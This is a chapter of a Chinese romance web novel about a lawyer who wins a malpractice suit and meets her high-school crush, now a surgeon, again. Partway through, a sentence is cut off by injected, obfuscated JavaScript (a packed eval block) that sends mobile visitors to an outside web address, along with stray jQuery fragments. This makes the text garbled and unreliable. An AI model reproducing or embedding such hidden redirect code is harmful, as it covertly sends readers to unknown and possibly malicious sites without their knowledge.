市中级法院第三审判庭的穹顶，压得很低，嵌入式顶灯投下冷白色的光，将大理石地面，映得如同冰面。


    许栖坐在原告席侧，指腹无声摩挲着钢笔笔帽，金属触感冰凉。


    她面前摊开的几本卷宗，编号整齐，深蓝色封皮在冷光下，泛着深海般的幽蓝。


    这场医疗诉讼，她已经跟进了三个多月，足够将每份卷宗的内容倒背如流。但此时此刻，她却有些心不在焉。


    “原告方可就护理记录问题，进一步举证。”


    审判长威严的声音，在穹顶下震荡。


    许栖的钢笔尖悬在卷宗副本上方，墨水滴落的前一秒，她察觉到被告席后方的微妙异动。


    一道白色身影，微微调整了站立姿势，袖口翻折时露出半截手腕。指甲修剪得近乎完美，指节处因长期消毒，形成浅淡的皱褶。即使隔着半个庭审席的距离，许栖仍一眼认出他腕上的表——表中之王百达翡丽，一支赶上临江一套房。


    多年未见，他已从青涩的天才少年，变成了如今稳如磐石的外科医生。


    高中毕业季的暴雨，毫无预兆地，漫过许栖的意识。


    那年夏天，她抱着大学录取通知书，手心沁出薄汗，小心翼翼地穿过空荡的走廊，公告栏玻璃映出身后少年的影子。


    她心跳如鼓，既盼着沈栎能快走几步与她并肩，又怕被他看穿心底的那点悸动。而脑海里，更是反复思量着，要不要鼓起勇气，打破这若有似无的暧昧。


    沈栎的脚步声永远落在她的身后，如同高中三年，始终隔着几张课桌的距离。


    她本以为可以和他读同一所大学，就像他们曾经读的同一所小学、同一所中学。却不想，那是她最后一次见他。


    听说他后来去了波士顿，就像所有骤然消失的旧同学一样，沈栎也成为她校友群里，偶尔浮起的名字。


    如今，他却站在被告方专家代表的位置上。


    这是她八年来，第一次见到沈栎。


    沈栎出庭，是个意外。


    案件本身与他无关，医疗事故发生时，他仍在海外，不久前才刚刚回国。理论上，这种院方责任纠纷，通常由医务科负责人或法律顾问处理，他完全不需要出庭。然而出事的，是他手下的医生，他作为新空降的领导，选择亲自到庭立威，也算合理。


    许栖将杂念压回意识深处，神情冷静而克制。她回答审判长的提问。


    “我方申请提交第三监护室5月14日的排班表原件，并调取电子病历系统日志，证明护理记录存在违规修改。”


    许栖起身时，高跟鞋稳稳咬住地面，律袍垂坠如瀑，法徽在领口折射出凛冽的弧光。她将补充材料推过桌面中线，金属桌沿的倒影里，被告方专家代表终于抬头——


    金丝眼镜后的眉眼，比校友群模糊的合影清晰百倍，而他的下颌线，也比她记忆中的后桌少年要锋利千倍。


    “修改记录符合重大抢救时的补记流程，且未影响关键诊疗决策。”


    沈栎调试麦克风，声音沉稳：“抢救期间，医疗记录可能存在必要性补充，这是院方为确保病例完整性，采取的合理措施。”


    沈栎的白大褂，在证人席投下淡青色阴影。他调试麦克风的动作，让许栖想起高中物理课。那时的他，总是在教室后排，默默修好被同学弄坏的示波器。


    对方律师随即接话：“也就是说，原告方质疑的病历修改，并不足以证明医疗过失？”


    许栖翻开卷宗，语调不疾不徐：“病历修改确实允许补充说明，但前提是所有改动，必须在合法框架内进行。”


    她的激光笔精准定格在屏幕上，指向修改记录的时间戳。


    “沈医生，你刚才强调病历关键内容未改动。但术后第37小时，护理组提交了一份不同版本的抢救情况说明，而修改操作，恰好发生在同一时间段。”


    她顿了一下，目光投向审判长：“根据卫健委《电子病历应用规范》第二十七条，所有病历修改必须注明修改人、修改理由，并履行双人核查程序。”


    短暂的沉默。


    被告律师和几个院方人员垂头丧气。这个关键性对比，是她和两个助理在监控室费尽心机得来的。胜负已定。


    有那么瞬间，她错觉沈栎的镜片反光晃过自己这边。她抬头，却只看到他低垂的睫毛，在颧骨投下蝉翼般的阴翳。


    片刻商议后，沈栎的手指轻叩麦克风，声音锋利而冷静：“院方认可该部分证据，修改流程确有不规范之处。”


    法槌落下。


    “……江临市第一人民医院，应在本判决生效之日起十五日内，赔偿原告医疗费、护理费、精神损害抚慰金共计八十七万六千元。”


    "另，驳回被告方全部反诉请求……"


    法槌叩响的刹那，旁听席前排传来一阵压抑的啜泣。


    许栖用余光锁定声源。旁听席处，和她母亲同龄的原告张慧芳，正死死攥着小女儿的手，枯瘦的指节，几乎要嵌进年轻人苍白的皮肤里。


    当赔偿金额被最终宣读时，许栖用拇指摩挲卷宗深蓝色的封皮。这不是她胜诉的第一个医疗纠纷案，却是她第一次在法槌余韵里，尝到血腥味。


    沈栎没有再说什么，只是将胸牌别回白大褂，银底蓝字的“神经外科主任医师”反射着冷光，像手术室的无影灯照进瞳孔。


    “许律师，谢谢你！”


    李雪扑过来时带起一阵风，年轻女孩的眼泪，在她的律袍上晕开深色痕迹。她的母亲张慧芳亦站在她身侧，眼里混着不敢置信的泪意。


    母女俩的视线在胜诉判决书上久久停留，像是仍未从这场艰难的胜利中回神。


    “护工说爸爸的手指动了一下……”


    许栖扶住当事人手肘的动作干净利落，她的语气难得的温柔。


    “转院前记得做全套神经反射测试。”


    她递出名片的瞬间，余光瞥见被告席的骚动。医务科陈主任正抓着沈栎的袖口，低声说着什么，却被他一个抬腕看表的动作，截断了话头。


    铂金表盘的反光，刺痛了陈主任的心，同样刺痛了她的眼角。


    她记得高中时，他戴的也是一支金属表——欧米茄海马系列，款式古典，不张扬。那时的他，总是安静地坐在后排，手腕上的表盘偶尔在阳光下折射出冷冽的光，像他这个人一样，疏离又克制。


    托他的福，高中时她便研究起名品手表，悄悄窥探奢侈品的世界。即便是分别后，她也曾无数次在橱窗前驻足，看着那些昂贵的腕表，想象他戴上它们的样子。


    那些精致的机械结构、精准的走时、低调的设计，仿佛成了她与他之间唯一的联系。


    如今，他依旧戴着表，依旧精准，依旧疏离。只是这一次，他的表盘不再属于欧米茄，而是换成了百达翡丽，低调中更加透着矜贵，像他如今的身份一样，沉稳而内敛。


    许栖收回目光，指尖无意识地摩挲着自己的腕表。这是一支女款卡地亚，是她用自己的第一笔律师费买的。


    如今的她，早已不是那个只能在橱窗外驻足的女孩。


    她年轻有为，收入不菲，百达翡丽对她而言并非高不可攀。可即便如此，她依旧觉得，他们之间的距离，就像那支欧米茄与百达翡丽一样，隔着无法跨越的时光与心境。


    他变了。


    她亦是。


    许栖轻轻叹了口气，将思绪拉回现实。表盘上的指针依旧精准地走着，仿佛在提醒她，时间从不为任何人停留。


    对面的陈主任擦着汗挤过来，讪笑着寒暄："没想到许律师对ICU流程这么熟悉……"


    许栖松开律袍的袖扣，纤细的手腕从黑色布料中滑出。她将一缕散落的发丝别到耳后，露出耳垂上那枚小巧的珍珠耳钉，声音却像是他们医生在宣读尸检报告：


    "医疗纠纷诉讼时效是三年，贵院有充分时间完善病历管理制度。"


    她转身的刹那，沈栎依旧倚在证人席的栏杆旁，指尖转着一支银色钢笔，金属笔帽偶尔磕在玻璃桌面上，清脆的声音在寂静的法庭里，敲出微妙的节奏。


    他抬眸看她一眼，目光淡淡的，隔着镜片，疏离得像是隔着一层冰。


    她亦然。


    八年未见，他们已然是两个彻底不同的成年人。


    听说他当年是抛下一切出国，或许他早已不记得她这个旧同学。


    许栖收回目光，径直离开法庭。


    她数着步伐走向电梯间，冷硬的高跟鞋在长廊敲出规律的声响。机械的步伐和节奏，刚好能让她把庭审的余韵彻底清空。


    深灰色大理石墙面，倒映出无数个摇曳的影子，每一道都承载着一个家庭的悲欢离合，见证着他们在法律天平下的祈愿与挣扎。


    然而，数到第二十八步时，穿堂风送来一股淡淡的苦艾香，混着消毒水的凛冽气息。


    "辩护很精彩。"


    熟悉却意料之外的声音，低沉得仿佛揉碎在风里。


    许栖摁下电梯按钮的指尖微不可察地蜷缩，抬眸望去。


    沈栎就站在她身侧，白大褂平整得像手术室的帘布，神色沉静，姿态依旧克


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048704|162784||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    制得无可挑剔。


    许栖转过身，脸上浮现出律师标志性的专业笑容，嘴角恰到好处地上扬，眼里藏着分寸感，让人挑不出一丝错处。


    "沈医生作为专家证人，倒是沉得住气。"


    她的目光精准落在他胸牌的下缘，避开所有可能产生情绪交换的方位。


    然而视线却不受控制的，再次滑过他的无名指。


    那里空无一物。


    指骨棱角分明，隐约浮现浅淡的消毒水皱褶——没有婚戒。


    许栖知道自己，不该对此有任何联想。可是大脑的某个角落，仍旧自动翻找出他高中时那块，简洁却价格不菲的机械表，表盘上的指针永远精准到秒。


    她曾经攒了一整个暑假的工钱，想鼓起勇气，以“同学”的名义，送他一块手表作为生日礼物。


    却在第二天早读，看到他腕间已经戴上的表。后来她查到，那是欧米茄腕表，属于中高端的奢侈品，一支够得上她的几百支。


    于是那块暑假工挣来的滑稽电子表，至今躺在她的书房抽屉里，从未再能见到过天日。


    许栖按捺住回忆里那点细微的钝痛，唇角笑意未变。


    "抢救记录的时间戳——"


    "在法庭上已经质证过。"


    许栖打断他，话音干脆利落，像法庭上划出的最后一道休止符。


    面对沈栎，她是自卑的。


    但那只是曾经。


    沈栎微微一顿，没再继续。


    电梯门开启的蜂鸣声救了场，许栖跨进轿厢，不锈钢门缓缓闭合的刹那，那只骨节分明的手探了进来，按住门沿。


    许栖诧异地抬眸。


    电梯的红色指示灯映在沈栎的镜片上，他的衣角被气流轻轻卷起又落下，像极了当年教室后门，总被风掀起的蓝色门帘。


    他跟了进来。


    “晚上能叙个旧吗？”


    电子屏显示电梯抵达地下车库，许栖的公文包锁扣发出清脆的“咔嗒”。


    她听见自己的声音说——


    “我的收费标准是每小时三千。”


    这句话曾在无数次酒局上，击退过心怀不轨的当事人，此刻却像块投入深井的石头，在空旷的车库里，撞出空洞的回响。


    然而，沈栎加了她的微信。


    十个小时，他打了三万过来。


    她原以为他是有什么专业问题要咨询，却没想到，他们最终去了酒吧。


    酒吧里灯光暧昧，气氛错乱。


    许栖靠在沙发椅背上，酒杯在指间转了半圈，手臂搭在椅侧，眼神游离。


    沈栎坐在她对面，衬衫袖口挽至手肘，露出一截清瘦有力的前臂，指节在玻璃杯壁上轻敲，声音隐没在嘈杂的音乐里。


    他们开始喝得并不多，甚至没有过多交谈。起初还在闲聊寒暄，后来便沉默下来。


    间隔八年的光阴，实在没有什么好聊的。而沈栎，似乎也没有什么案件需要咨询。


    真得只是在叙旧，却又无旧可叙。


    许栖本以为，这不过是一次成年人的短暂交谈，不涉及过去，不越界，不失控。


    直到凌晨深夜，意识开始变得混沌，时间像被酒精稀释的墨水，在夜色里缓缓晕开。


    再然后——


    意识恢复时，窗外天光已经透过窗帘的缝隙，清晨的冷色调弥漫在房间里。


    床单凌乱，空气里残留着温热的气息，以及雪松混合薄荷的味道。


    许栖睁开眼，枕边是沈栎沉静的睡颜，黑发略显凌乱，眉眼在晨光下少了平日里的冷意。他的手臂搭在被子外，指节微微弯曲，骨节分明，肩胛线条隐约可见——


    衣服，确实是彻底脱了。


    她低头看了眼自己，喉咙微微发紧。


    身上遍布痕迹，点点浮现在皮肤上，像被落雨晕开的墨。


    昨晚的画面像快要沉入水底的纸张，在脑海里被一点点浸透，碎片式的闪回交错——暧昧的呼吸，指尖扣住手腕的力度，唇齿间纠缠的温度……


    许栖按住眉心，长长地吐了一口气。


    沈栎的睡眠很浅，她指尖微微收拢时，他的呼吸就已经有了变化。


    片刻后，他睁开眼，清醒得几乎没有迟滞，目光从她脸上掠过，又低头扫了一眼他们的现状。


    没人说话。


    许栖沉默地看着天花板，然后缓缓闭上眼睛，深呼吸。


    昨晚的事情，她记不太清了。


    但有一点，她非常确定。


    ——她的收费标准从来不包括这种事！